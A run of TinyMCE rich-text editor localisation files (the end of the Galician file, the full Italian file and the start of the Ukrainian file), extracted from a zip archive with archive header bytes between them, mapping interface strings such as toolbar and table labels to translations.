"Close": "Pechar",
"Formats": "Formatos",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "O seu navegador non admite o acceso directo ao portapapeis. Empregue os atallos de teclado Ctrl+X\/C\/V no seu canto.",
"Headers": "Cabeceiras",
"Header 1": "Cabeceira 1",
"Header 2": "Cabeceira 2",
"Header 3": "Cabeceira 3",
"Header 4": "Cabeceira 4",
"Header 5": "Cabeceira 5",
"Header 6": "Cabeceira 6",
"Headings": "T\u00edtulo",
"Heading 1": "T\u00edtulo 1",
"Heading 2": "T\u00edtulo 2",
"Heading 3": "T\u00edtulo 3",
"Heading 4": "T\u00edtulo 4",
"Heading 5": "T\u00edtulo 5",
"Heading 6": "T\u00edtulo 6",
"Preformatted": "Preformatado",
"Div": "Div",
"Pre": "Pre",
"Code": "C\u00f3digo",
"Paragraph": "Par\u00e1grafo",
"Blockquote": "Bloque entre comi\u00f1as",
"Inline": "En li\u00f1a",
"Blocks": "Bloques",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Neste momento o pegado est\u00e1 definido en modo de texto simple. Os contidos p\u00e9garanse como texto sen formato ata que se active esta opci\u00f3n.",
"Fonts": "Tipos de letra",
"Font Sizes": "Tama\u00f1o da letra",
"Class": "Clase",
"Browse for an image": "Buscar unha imaxe",
"OR": "OU",
"Drop an image here": "Soltar unha imaxe",
"Upload": "Cargar",
"Block": "Bloque",
"Align": "Ali\u00f1amento",
"Default": "Predeterminada",
"Circle": "Circulo",
"Disc": "Disco",
"Square": "Cadrado",
"Lower Alpha": "Alfa min\u00fascula",
"Lower Greek": "Grega min\u00fascula",
"Lower Roman": "Romana min\u00fascula",
"Upper Alpha": "Alfa mai\u00fascula",
"Upper Roman": "Romana mai\u00fascula",
"Anchor...": "Ancoraxe...",
"Name": "Nome",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "O ID debe comezar cunha letra, seguida s\u00f3 por letras, n\u00fameros, gui\u00f3ns, puntos, dos puntos ou gui\u00f3ns baixos.",
"You have unsaved changes are you sure you want to navigate away?": "Ten cambios sen gardar. Confirma que quere sa\u00edr?",
"Restore last draft": "Restaurar o \u00faltimo borrador",
"Special characters...": "Caracteres especiais...",
"Source code": "C\u00f3digo fonte",
"Insert\/Edit code sample": "Inserir\/editar mostra de c\u00f3digo",
"Language": "Idioma",
"Code sample...": "Mostra de c\u00f3digo...",
"Color Picker": "Selector de cor",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "De esquerda a dereita",
"Right to left": "De dereita a esquerda",
"Emoticons...": "Emoticonas...",
"Metadata and Document Properties": "Metadatos e propiedades do documento",
"Title": "T\u00edtulo",
"Keywords": "Palabras clave",
"Description": "Descrici\u00f3n",
"Robots": "Robots",
"Author": "Autor",
"Encoding": "Codificaci\u00f3n",
"Fullscreen": "Pantalla completa",
"Action": "Action",
"Shortcut": "Shortcut",
"Help": "Help",
"Address": "Address",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "Insert link (if link plugin activated)",
"Save (if save plugin activated)": "Save (if save plugin activated)",
"Find (if searchreplace plugin activated)": "Find (if searchreplace plugin activated)",
"Plugins installed ({0}):": "Plugins installed ({0}):",
"Premium plugins:": "Premium plugins:",
"Learn more...": "Learn more...",
"You are using {0}": "You are using {0}",
"Plugins": "Engadidos",
"Handy Shortcuts": "Atallos \u00fatiles",
"Horizontal line": "Li\u00f1a horizontal",
"Insert\/edit image": "Inserir\/editar imaxe",
"Image description": "Descrici\u00f3n da imaxe",
"Source": "Orixe",
"Dimensions": "Dimensi\u00f3ns",
"Constrain proportions": "Restrinxir as proporci\u00f3ns",
"General": "Xeral",
"Advanced": "Avanzado",
"Style": "Estilo",
"Vertical space": "Espazo vertical",
"Horizontal space": "Espazo horizontal",
"Border": "Bordo",
"Insert image": "Inserir imaxe",
"Image...": "Imaxe...",
"Image list": "Lista de imaxes",
"Rotate counterclockwise": "Rotate counterclockwise",
"Rotate clockwise": "Rotate clockwise",
"Flip vertically": "Flip vertically",
"Flip horizontally": "Flip horizontally",
"Edit image": "Edit image",
"Image options": "Image options",
"Zoom in": "Zoom in",
"Zoom out": "Zoom out",
"Crop": "Crop",
"Resize": "Resize",
"Orientation": "Orientation",
"Brightness": "Brightness",
"Sharpen": "Sharpen",
"Contrast": "Contrast",
"Color levels": "Color levels",
"Gamma": "Gamma",
"Invert": "Invert",
"Apply": "Apply",
"Back": "Back",
"Insert date\/time": "Inserir data\/hora",
"Date\/time": "Data\/hora",
"Insert\/Edit Link": "Inserir\/editar ligaz\u00f3n",
"Insert\/edit link": "Inserir\/editar ligaz\u00f3n",
"Text to display": "Texto que amosar",
"Url": "URL",
"Open link in...": "Abrir a ligaz\u00f3n en...",
"Current window": "Xanela actual",
"None": "Ning\u00fan",
"New window": "Nova xanela",
"Remove link": "Retirar a ligaz\u00f3n",
"Anchors": "Ancoraxes",
"Link...": "Ligaz\u00f3n...",
"Paste or type a link": "Pegue ou escriba unha ligaz\u00f3n",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "O URL que introduciu semella seren un enderezo de correo. Quere engadirlle o prefixo mailto: requirido?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "O URL que introduciu semella seren unha ligaz\u00f3n externa. Quere engadirlle o prefixo http:\/\/ requirido?",
"Link list": "Lista de ligaz\u00f3ns",
"Insert video": "Inserir v\u00eddeo",
"Insert\/edit video": "Inserir\/editar v\u00eddeo",
"Insert\/edit media": "Inserir\/editar medios",
"Alternative source": "Orixe alternativa",
"Alternative source URL": "URL da orixe alternativa",
"Media poster (Image URL)": "Cartel multimedia (URL da imaxe)",
"Paste your embed code below:": "Pegue embaixo o c\u00f3digo integrado:",
"Embed": "Integrado",
"Media...": "Multimedia...",
"Nonbreaking space": "Espazo irromp\u00edbel",
"Page break": "Quebra de p\u00e1xina",
"Paste as text": "Pegar como texto",
"Preview": "Vista previa",
"Print...": "Imprimir...",
"Save": "Gardar",
"Find": "Buscar",
"Replace with": "Substitu\u00edr con",
"Replace": "Substitu\u00edr",
"Replace all": "Substitu\u00edr todo",
"Previous": "Anterior",
"Next": "Seguinte",
"Find and replace...": "Atopar e substitu\u00edr...",
"Could not find the specified string.": "Non foi pos\u00edbel atopar a cadea de texto especificada.",
"Match case": "Distinguir mai\u00fasculas",
"Find whole words only": "Atopar unicamente as palabras enteiras",
"Spell check": "Corrector ortogr\u00e1fico",
"Ignore": "Ignorar",
"Ignore all": "Ignorar todo",
"Finish": "Rematar",
"Add to Dictionary": "Engadir ao dicionario",
"Insert table": "Inserir t\u00e1boa",
"Table properties": "Propiedades da t\u00e1boa",
"Delete table": "Eliminar t\u00e1boa",
"Cell": "Cela",
"Row": "Fila",
"Column": "Columna",
"Cell properties": "Propiedades da cela",
"Merge cells": "Combinar celas",
"Split cell": "Dividir celas",
"Insert row before": "Inserir unha fila enriba",
"Insert row after": "Inserir unha fila embaixo",
"Delete row": "Eliminar fila",
"Row properties": "Propiedades das filas",
"Cut row": "Cortar fila",
"Copy row": "Copiar fila",
"Paste row before": "Pegar fila embaixo",
"Paste row after": "Pegar fila enriba",
"Insert column before": "Inserir columna \u00e1 esquerda",
"Insert column after": "Inserir columna \u00e1 dereita",
"Delete column": "Eliminar columna",
"Cols": "Cols.",
"Rows": "Filas",
"Width": "Largo",
"Height": "Alto",
"Cell spacing": "Marxe entre celas",
"Cell padding": "Marxe interior da cela",
"Show caption": "Amosar subt\u00edtulo",
"Left": "Esquerda",
"Center": "Centro",
"Right": "Dereita",
"Cell type": "Tipo de cela",
"Scope": "\u00c1mbito",
"Alignment": "Ali\u00f1amento",
"H Align": "Ali\u00f1amento H",
"V Align": "Ali\u00f1amento V",
"Top": "Arriba",
"Middle": "Medio",
"Bottom": "Abaixo",
"Header cell": "Cela de cabeceira",
"Row group": "Grupo de filas",
"Column group": "Grupo de columnas",
"Row type": "Tipo de fila",
"Header": "Cabeceira",
"Body": "Corpo",
"Footer": "Rodap\u00e9",
"Border color": "Cor do bordo",
"Insert template...": "Inserir modelo...",
"Templates": "Modelos",
"Template": "Modelo",
"Text color": "Cor do texto",
"Background color": "Cor do fondo",
"Custom...": "Personalizado...",
"Custom color": "Cor personalizado",
"No color": "Sen cor",
"Remove color": "Retirar a cor",
"Table of Contents": "\u00cdndice de contidos",
"Show blocks": "Amosar os bloques",
"Show invisible characters": "Amosar caracteres invis\u00edbeis",
"Word count": "Reconto de palabras",
"Words: {0}": "Palabras: {0}",
"{0} words": "{0} palabras",
"File": "Ficheiro",
"Edit": "Editar",
"Insert": "Inserir",
"View": "Ver",
"Format": "Formato",
"Table": "T\u00e1boa",
"Tools": "Ferramentas",
"Powered by {0}": "Coa tecnolox\u00eda de {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u00c1rea de texto mellorado. Prema ALT-F9 para o men\u00fa. Prema ALT-F10 para a barra de ferramentas. Prema ALT-0 para a axuda",
"Image title": "T\u00edtulo da imaxe",
"Border width": "Largo do bordo",
"Border style": "Estilo do bordo",
"Error": "Erro",
"Warn": "Aviso",
"Valid": "V\u00e1lido",
"To open the popup, press Shift+Enter": "Para abrir a xanela emerxente, prema Mai\u00fas+Intro",
"Rich Text Area. Press ALT-0 for help.": "\u00c1rea de texto mellorado. PremaALT-0 para obter axuda.",
"System Font": "Tipo de letra do sistema",
"Failed to upload image: {0}": "Produciuse un fallo ao cargar a imaxe: {0}",
"Failed to load plugin: {0} from url {1}": "Produciuse un fallo ao cargar a o engadido: {0} dende o URL {1}",
"Failed to load plugin url: {0}": "Produciuse un fallo ao cargar a o URL do engadido: {0}",
"Failed to initialize plugin: {0}": "Produciuse un fallo ao iniciar o engadido: {0}",
"example": "exemplo",
"Search": "Buscar",
"All": "Todo",
"Currency": "Moeda",
"Text": "Texto",
"Quotations": "Citas",
"Mathematical": "Matem\u00e1tico",
"Extended Latin": "Latino extendido",
"Symbols": "S\u00edmbolos",
"Arrows": "Frechas",
"User Defined": "Definido polo usuario",
"dollar sign": "S\u00edmbolo do dolar",
"currency sign": "S\u00edmbolo de moeda",
"euro-currency sign": "S\u00edmbolo do euro",
"colon sign": "S\u00edmbolo do col\u00f3n",
"cruzeiro sign": "S\u00edmbolo do cruzeiro",
"french franc sign": "S\u00edmbolo do franco franc\u00e9s",
"lira sign": "S\u00edmbolo da lira",
"mill sign": "S\u00edmbolo do mill",
"naira sign": "S\u00edmbolo da naira",
"peseta sign": "S\u00edmbolo da peseta",
"rupee sign": "S\u00edmbolo da rupia",
"won sign": "S\u00edmbolo do won",
"new sheqel sign": "S\u00edmbolo do novo s\u00e9quel",
"dong sign": "S\u00edmbolo do dong",
"kip sign": "S\u00edmbolo do kip",
"tugrik sign": "S\u00edmbolo do tugrik",
"drachma sign": "S\u00edmbolo do dracma",
"german penny symbol": "S\u00edmbolo do penique alem\u00e1n",
"peso sign": "S\u00edmbolo do peso",
"guarani sign": "S\u00edmbolo do guaran\u00ed",
"austral sign": "S\u00edmbolo do austral",
"hryvnia sign": "S\u00edmbolo do grivna",
"cedi sign": "S\u00edmbolo do cedi",
"livre tournois sign": "S\u00edmbolo da libre tournois",
"spesmilo sign": "S\u00edmbolo do spesmilo",
"tenge sign": "S\u00edmbolo do tengue",
"indian rupee sign": "S\u00edmbolo da rupia india",
"turkish lira sign": "S\u00edmbolo da lira turca",
"nordic mark sign": "S\u00edmbolo do marco n\u00f3rdico",
"manat sign": "S\u00edmbolo do manat",
"ruble sign": "S\u00edmbolo do rublo",
"yen character": "Car\u00e1cter do ien",
"yuan character": "Car\u00e1cter do yuan",
"yuan character, in hong kong and taiwan": "Car\u00e1cter do yuan, en Hong Kong e Taiwan",
"yen\/yuan character variant one": "Variante  1 do car\u00e1cter do ien\/yuan",
"Loading emoticons...": "Cargando emoticonas...",
"Could not load emoticons": "Non foi pos\u00edbel cargar as emoticonas",
"People": "Xente",
"Animals and Nature": "Animais e natureza",
"Food and Drink": "Comida e bebida",
"Activity": "Actividade",
"Travel and Places": "Viaxes e lugares",
"Objects": "Obxectos",
"Flags": "Bandeiras",
"Characters": "Caracteres",
"Characters (no spaces)": "Caracteres (sen espazos)",
"Error: Form submit field collision.": "Erro: conflito de campo ao enviar o formulario ",
"Error: No form element found.": "Erro: non se atopou ning\u00fan elemento de formulario",
"Update": "Actualizar",
"Color swatch": "Mostra de cores",
"Turquoise": "Turquesa",
"Green": "Verde",
"Blue": "Azul",
"Purple": "P\u00farpura",
"Navy Blue": "Azul mari\u00f1o",
"Dark Turquoise": "Turquesa escuro",
"Dark Green": "Verde escuro",
"Medium Blue": "Azul medio",
"Medium Purple": "P\u00farpura medio",
"Midnight Blue": "Azul noite",
"Yellow": "Amarelo",
"Orange": "Laranxa",
"Red": "Vermello",
"Light Gray": "Gris claro",
"Gray": "Gris",
"Dark Yellow": "Amarelo escuro",
"Dark Orange": "Laranxa escuro",
"Dark Red": "Vermello escuro",
"Medium Gray": "Gris medio",
"Dark Gray": "Gris escuro",
"Black": "Negro",
"White": "Branco",
"Switch to or from fullscreen mode": "Activar ou desactivar o modo de pantalla completa",
"Open help dialog": "Abrir o di\u00e1logo de axuda",
"history": "historial",
"styles": "estilos",
"formatting": "formatado",
"alignment": "ali\u00f1amento",
"indentation": "sangrado",
"permanent pen": "rotulador permanente",
"comments": "comentarios",
"Anchor": "Ancoraxe",
"Special character": "Car\u00e1cter especial",
"Color": "Cor",
"Emoticons": "Emoticonas",
"Document properties": "Propiedades do documento",
"Image": "Imaxe",
"Insert link": "Inserir ligaz\u00f3n",
"Target": "Destino",
"Link": "Ligaz\u00f3n",
"Poster": "Cartel",
"Media": "Medios",
"Print": "Imprimir",
"Prev": "Anterior",
"Find and replace": "Buscar e substitu\u00edr",
"Whole words": "Palabras completas",
"Spellcheck": "Corrector ortogr\u00e1fico",
"Caption": "Subt\u00edtulo",
"Insert template": "Inserir modelo"
});PK
h�\�W��;�;program/js/tinymce/langs/it.jsnu�[���tinymce.addI18n('it',{
"Redo": "Ripristina",
"Undo": "Annulla",
"Cut": "Taglia",
"Copy": "Copia",
"Paste": "Incolla",
"Select all": "Seleziona tutto",
"New document": "Nuovo documento",
"Ok": "OK",
"Cancel": "Annulla",
"Visual aids": "Aiuti visivi",
"Bold": "Grassetto",
"Italic": "Corsivo",
"Underline": "Sottolineato",
"Strikethrough": "Barrato",
"Superscript": "Apice",
"Subscript": "Pedice",
"Clear formatting": "Cancella la formattazione",
"Align left": "Allinea a sinistra",
"Align center": "Allinea al centro",
"Align right": "Allinea a destra",
"Justify": "Giustifica",
"Bullet list": "Elenco puntato",
"Numbered list": "Elenco numerato",
"Decrease indent": "Riduci rientro",
"Increase indent": "Aumenta rientro",
"Close": "Chiudi",
"Formats": "Formati",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Il browser non supporta l'accesso diretto alla cartella degli appunti. Usare i tasti di scelta rapida Ctrl+X\/C\/V.",
"Headers": "Intestazioni",
"Header 1": "Intestazione 1",
"Header 2": "Intestazione 2",
"Header 3": "Intestazione 3",
"Header 4": "Intestazione 4",
"Header 5": "Intestazione 5",
"Header 6": "Intestazione 6",
"Headings": "Titoli",
"Heading 1": "Titolo 1",
"Heading 2": "Titolo 2",
"Heading 3": "Titolo 3",
"Heading 4": "Titolo 4",
"Heading 5": "Titolo 5",
"Heading 6": "Titolo 6",
"Preformatted": "Preformattato",
"Div": "Div",
"Pre": "Pre",
"Code": "Codice",
"Paragraph": "Paragrafo",
"Blockquote": "Blockquote",
"Inline": "In linea",
"Blocks": "Blocchi",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Incolla \u00e8 in modalit\u00e0 testo normale. I contenuti sono incollati come testo normale se non disattivi l'opzione.",
"Fonts": "Caratteri",
"Font Sizes": "Dimensioni caratteri",
"Class": "Classe",
"Browse for an image": "Cerca un'immagine",
"OR": "OPPURE",
"Drop an image here": "Rilasciare un'immagine qui",
"Upload": "Carica",
"Block": "Blocco",
"Align": "Allinea",
"Default": "Default",
"Circle": "Cerchio",
"Disc": "Disco",
"Square": "Quadrato",
"Lower Alpha": "Alpha Minore",
"Lower Greek": "Greek Minore",
"Lower Roman": "Roman Minore",
"Upper Alpha": "Alpha Superiore",
"Upper Roman": "Roman Superiore",
"Anchor...": "Ancoraggio...",
"Name": "Nome",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "L'id dovrebbe cominciare con una lettera, seguito solo da lettere, numeri, linee, punti, virgole.",
"You have unsaved changes are you sure you want to navigate away?": "Non hai salvato delle modifiche, sei sicuro di andartene?",
"Restore last draft": "Ripristina l'ultima bozza.",
"Special character...": "Carattere speciale...",
"Source code": "Codice Sorgente",
"Insert\/Edit code sample": "Inserisci\/Modifica esempio di codice",
"Language": "Lingua",
"Code sample...": "Esempio di codice...",
"Color Picker": "Selezione colori",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Da Sinistra a Destra",
"Right to left": "Da Destra a Sinistra",
"Emoticons...": "Emoticon...",
"Metadata and Document Properties": "Metadata e propriet\u00e0 del documento",
"Title": "Titolo",
"Keywords": "Parola Chiave",
"Description": "Descrizione",
"Robots": "Robot",
"Author": "Autore",
"Encoding": "Codifica",
"Fullscreen": "Schermo Intero",
"Action": "Azione",
"Shortcut": "Scorciatoia",
"Help": "Aiuto",
"Address": "Indirizzo",
"Focus to menubar": "Focus sulla barra del menu",
"Focus to toolbar": "Focus sulla barra degli strumenti",
"Focus to element path": "Focus sul percorso dell'elemento",
"Focus to contextual toolbar": "Focus sulla barra degli strumenti contestuale",
"Insert link (if link plugin activated)": "Inserisci link (se il plugin link \u00e8 attivato)",
"Save (if save plugin activated)": "Salva (se il plugin save \u00e8 attivato)",
"Find (if searchreplace plugin activated)": "Trova (se il plugin searchreplace \u00e8 attivato)",
"Plugins installed ({0}):": "Plugin installati ({0}):",
"Premium plugins:": "Plugin Premium:",
"Learn more...": "Per saperne di pi\u00f9...",
"You are using {0}": "Stai usando {0}",
"Plugins": "Plugin",
"Handy Shortcuts": "Scorciatoia pratica",
"Horizontal line": "Linea Orizzontale",
"Insert\/edit image": "Aggiungi\/Modifica Immagine",
"Image description": "Descrizione Immagine",
"Source": "Fonte",
"Dimensions": "Dimenzioni",
"Constrain proportions": "Mantieni Proporzioni",
"General": "Generale",
"Advanced": "Avanzato",
"Style": "Stile",
"Vertical space": "Spazio Verticale",
"Horizontal space": "Spazio Orizzontale",
"Border": "Bordo",
"Insert image": "Inserisci immagine",
"Image...": "Immagine...",
"Image list": "Elenco immagini",
"Rotate counterclockwise": "Ruota in senso antiorario",
"Rotate clockwise": "Ruota in senso orario",
"Flip vertically": "Rifletti verticalmente",
"Flip horizontally": "Rifletti orizzontalmente",
"Edit image": "Modifica immagine",
"Image options": "Opzioni immagine",
"Zoom in": "Ingrandisci",
"Zoom out": "Rimpicciolisci",
"Crop": "Taglia",
"Resize": "Ridimensiona",
"Orientation": "Orientamento",
"Brightness": "Luminosit\u00e0",
"Sharpen": "Contrasta",
"Contrast": "Contrasto",
"Color levels": "Livelli colore",
"Gamma": "Gamma",
"Invert": "Inverti",
"Apply": "Applica",
"Back": "Indietro",
"Insert date\/time": "Inserisci Data\/Ora",
"Date\/time": "Data\/Ora",
"Insert\/Edit Link": "Inserisci\/modifica collegamento",
"Insert\/edit link": "Inserisci\/Modifica Link",
"Text to display": "Testo da Visualizzare",
"Url": "Url",
"Open link in...": "Apri collegamento in...",
"Current window": "Finestra corrente",
"None": "No",
"New window": "Nuova Finestra",
"Remove link": "Rimuovi link",
"Anchors": "Anchors",
"Link...": "Collegamento...",
"Paste or type a link": "Incolla o digita un collegamento",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "L'URL inserito sembra essere un indirizzo email. Vuoi aggiungere il prefisso necessario mailto:?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "L'URL inserito sembra essere un collegamento esterno. Vuoi aggiungere il prefisso necessario http:\/\/?",
"Link list": "Elenco link",
"Insert video": "Inserisci Video",
"Insert\/edit video": "Inserisci\/Modifica Video",
"Insert\/edit media": "Inserisci\/Modifica Media",
"Alternative source": "Alternativo",
"Alternative source URL": "URL sorgente alternativa",
"Media poster (Image URL)": "Poster dell'oggetto multimediale (URL dell'immagine)",
"Paste your embed code below:": "Incolla il codice d'incorporamento qui:",
"Embed": "Incorporare",
"Media...": "Oggetto multimediale...",
"Nonbreaking space": "Spazio unificatore",
"Page break": "Interruzione di pagina",
"Paste as text": "incolla come testo",
"Preview": "Anteprima",
"Print...": "Stampa...",
"Save": "Salva",
"Find": "Trova",
"Replace with": "Sostituisci Con",
"Replace": "Sostituisci",
"Replace all": "Sostituisci Tutto",
"Previous": "Indietro",
"Next": "Successivo",
"Find and replace...": "Trova e sostituisci...",
"Could not find the specified string.": "Impossibile trovare la parola specifica.",
"Match case": "Maiuscole\/Minuscole ",
"Find whole words only": "Trova solo parole intere",
"Spell check": "Controllo ortografia",
"Ignore": "Ignora",
"Ignore all": "Ignora Tutto",
"Finish": "Termina",
"Add to Dictionary": "Aggiungi al Dizionario",
"Insert table": "Inserisci Tabella",
"Table properties": "Propiet\u00e0 della Tabella",
"Delete table": "Cancella Tabella",
"Cell": "Cella",
"Row": "Riga",
"Column": "Colonna",
"Cell properties": "Propiet\u00e0 della Cella",
"Merge cells": "Unisci Cella",
"Split cell": "Dividi Cella",
"Insert row before": "Inserisci una Riga Prima",
"Insert row after": "Inserisci una Riga Dopo",
"Delete row": "Cancella Riga",
"Row properties": "Propriet\u00e0 della Riga",
"Cut row": "Taglia Riga",
"Copy row": "Copia Riga",
"Paste row before": "Incolla una Riga Prima",
"Paste row after": "Incolla una Riga Dopo",
"Insert column before": "Inserisci una Colonna Prima",
"Insert column after": "Inserisci una Colonna Dopo",
"Delete column": "Cancella Colonna",
"Cols": "Colonne",
"Rows": "Righe",
"Width": "Larghezza",
"Height": "Altezza",
"Cell spacing": "Spaziatura della Cella",
"Cell padding": "Padding della Cella",
"Show caption": "Mostra didascalia",
"Left": "Sinistra",
"Center": "Centro",
"Right": "Destra",
"Cell type": "Tipo di Cella",
"Scope": "Campo",
"Alignment": "Allineamento",
"H Align": "Allineamento H",
"V Align": "Allineamento V",
"Top": "In alto",
"Middle": "In mezzo",
"Bottom": "In fondo",
"Header cell": "cella d'intestazione",
"Row group": "Gruppo di Righe",
"Column group": "Gruppo di Colonne",
"Row type": "Tipo di Riga",
"Header": "Header",
"Body": "Body",
"Footer": "Footer",
"Border color": "Colore bordo",
"Insert template...": "Inserisci modello...",
"Templates": "Template",
"Template": "Modello",
"Text color": "Colore Testo",
"Background color": "Colore Background",
"Custom...": "Personalizzato...",
"Custom color": "Colore personalizzato",
"No color": "Nessun colore",
"Remove color": "Rimuovi colore",
"Table of Contents": "Tabella dei contenuti",
"Show blocks": "Mostra Blocchi",
"Show invisible characters": "Mostra Caratteri Invisibili",
"Word count": "Conteggio parole",
"Count": "Conteggio",
"Document": "Documento",
"Selection": "Selezione",
"Words": "Parole",
"Words: {0}": "Parole: {0}",
"{0} words": "{0} parole",
"File": "File",
"Edit": "Modifica",
"Insert": "Inserisci",
"View": "Visualiza",
"Format": "Formato",
"Table": "Tabella",
"Tools": "Strumenti",
"Powered by {0}": "Fornito da {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text Area. Premi ALT-F9 per il men\u00f9. Premi ALT-F10 per la barra degli strumenti. Premi ALT-0 per l'aiuto.",
"Image title": "Titolo immagine",
"Border width": "Larghezza del bordo",
"Border style": "Stile del bordo",
"Error": "Errore",
"Warn": "Avviso",
"Valid": "Valido",
"To open the popup, press Shift+Enter": "Per aprire il popup, premere Shift+Invio",
"Rich Text Area. Press ALT-0 for help.": "Area di testo RTF. Premere ALT-0 per la guida.",
"System Font": "Carattere di sistema",
"Failed to upload image: {0}": "Caricamento immagine fallito: {0}",
"Failed to load plugin: {0} from url {1}": "Caricamento plugin fallito: {0} dall'URL {1}",
"Failed to load plugin url: {0}": "Caricamento URL plugin fallito: {0}",
"Failed to initialize plugin: {0}": "Inizializzazione plugin fallita: {0}",
"example": "esempio",
"Search": "Cerca",
"All": "Tutto",
"Currency": "Valuta",
"Text": "Testo",
"Quotations": "Citazioni",
"Mathematical": "Caratteri matematici",
"Extended Latin": "Latino esteso",
"Symbols": "Simboli",
"Arrows": "Frecce",
"User Defined": "Definito dall'utente",
"dollar sign": "simbolo del dollaro",
"currency sign": "simbolo di valuta",
"euro-currency sign": "simbolo dell'euro",
"colon sign": "simbolo del col\u00f3n",
"cruzeiro sign": "simbolo del cruzeiro",
"french franc sign": "simbolo del franco francese",
"lira sign": "simbolo della lira",
"mill sign": "simbolo del mill",
"naira sign": "simbolo della naira",
"peseta sign": "simbolo della peseta",
"rupee sign": "simbolo della rup\u00eca",
"won sign": "simbolo del won",
"new sheqel sign": "simbolo del nuovo shekel",
"dong sign": "simbolo del dong",
"kip sign": "simbolo del kip",
"tugrik sign": "simbolo del tugrik",
"drachma sign": "simbolo della dracma",
"german penny symbol": "simbolo del pfennig tedesco",
"peso sign": "simbolo del peso",
"guarani sign": "simbolo del guaran\u00ec",
"austral sign": "simbolo dell'austral",
"hryvnia sign": "simbolo della hryvnia",
"cedi sign": "simbolo del cedi",
"livre tournois sign": "simbolo della lira di Tours",
"spesmilo sign": "simbolo dello spesmilo",
"tenge sign": "simbolo del tenge",
"indian rupee sign": "simbolo della rup\u00eca indiana",
"turkish lira sign": "simbolo della lira turca",
"nordic mark sign": "simbolo del marco nordico",
"manat sign": "simbolo del manat",
"ruble sign": "simbolo del rublo",
"yen character": "simbolo dello yen",
"yuan character": "simbolo dello yuan",
"yuan character, in hong kong and taiwan": "simbolo dello yuan, Hong Kong e Taiwan",
"yen\/yuan character variant one": "simbolo yen\/yuan variante uno",
"Loading emoticons...": "Caricamento emoticon in corso",
"Could not load emoticons": "Impossibile caricare emoticon",
"People": "Persone",
"Animals and Nature": "Animali e natura",
"Food and Drink": "Cibi e bevande",
"Activity": "Attivit\u00e0",
"Travel and Places": "Viaggi e luoghi",
"Objects": "Oggetti",
"Flags": "Bandiere",
"Characters": "Caratteri",
"Characters (no spaces)": "Caratteri (senza spazi)",
"{0} characters": "{0} caratteri",
"Error: Form submit field collision.": "Errore: Conflitto di campi nel modulo inviato.",
"Error: No form element found.": "Errore: Nessun elemento di modulo trovato.",
"Update": "Aggiorna",
"Color swatch": "Campione di colore",
"Turquoise": "Turchese",
"Green": "Verde",
"Blue": "Blu",
"Purple": "Viola",
"Navy Blue": "Blu scuro",
"Dark Turquoise": "Turchese scuro",
"Dark Green": "Verde scuro",
"Medium Blue": "Blu medio",
"Medium Purple": "Viola medio",
"Midnight Blue": "Blu notte",
"Yellow": "Giallo",
"Orange": "Arancio",
"Red": "Rosso",
"Light Gray": "Grigio chiaro",
"Gray": "Grigio",
"Dark Yellow": "Giallo scuro",
"Dark Orange": "Arancio scuro",
"Dark Red": "Rosso scuro",
"Medium Gray": "Grigio medio",
"Dark Gray": "Grigio scuro",
"Light Green": "Verde chiaro",
"Light Yellow": "Giallo chiaro",
"Light Red": "Rosso chiaro",
"Light Purple": "Viola chiaro",
"Light Blue": "Azzurro",
"Dark Purple": "Viola scuro",
"Dark Blue": "Blu scuro",
"Black": "Nero",
"White": "Bianco",
"Switch to or from fullscreen mode": "Attiva\/disattiva la modalit\u00e0 schermo intero",
"Open help dialog": "Apri la finestra di aiuto",
"history": "cronologia",
"styles": "stili",
"formatting": "formattazione",
"alignment": "allineamento",
"indentation": "indentazione",
"permanent pen": "penna indelebile",
"comments": "commenti",
"Format Painter": "Copia formattazione",
"Insert\/edit iframe": "Inserisci\/modifica iframe",
"Capitalization": "Maiuscole\/minuscole",
"lowercase": "minuscole",
"UPPERCASE": "MAIUSCOLE",
"Title Case": "Iniziali Maiuscole",
"Permanent Pen Properties": "Propriet\u00e0 penna indelebile",
"Permanent pen properties...": "Propriet\u00e0 penna indelebile...",
"Font": "Carattere",
"Size": "Dimensione carattere",
"More...": "Altro\u2026",
"Spellcheck Language": "Lingua controllo ortografico",
"Select...": "Seleziona...",
"Preferences": "Preferenze",
"Yes": "S\u00ec",
"No": "No",
"Keyboard Navigation": "Navigazione tramite tastiera",
"Version": "Versione",
"Anchor": "Fissa",
"Special character": "Carattere Speciale",
"Code sample": "Esempio di codice",
"Color": "Colore",
"Emoticons": "Emoction",
"Document properties": "Propriet\u00e0 Documento",
"Image": "Immagine",
"Insert link": "Inserisci il Link",
"Target": "Target",
"Link": "Collegamento",
"Poster": "Anteprima",
"Media": "Media",
"Print": "Stampa",
"Prev": "Precedente",
"Find and replace": "Trova e Sostituisci",
"Whole words": "Parole Sbagliate",
"Spellcheck": "Controllo ortografico",
"Caption": "Didascalia",
"Insert template": "Inserisci Template"
});PK
h�\����&g&g!program/js/tinymce/langs/uk_UA.jsnu�[���tinymce.addI18n('uk_UA',{
"Redo": "\u0412\u0456\u0434\u043d\u043e\u0432\u0438\u0442\u0438",
"Undo": "\u0412\u0456\u0434\u043c\u0456\u043d\u0438\u0442\u0438",
"Cut": "\u0412\u0438\u0440\u0456\u0437\u0430\u0442\u0438",
"Copy": "\u041a\u043e\u043f\u0456\u044e\u0432\u0430\u0442\u0438",
"Paste": "\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438",
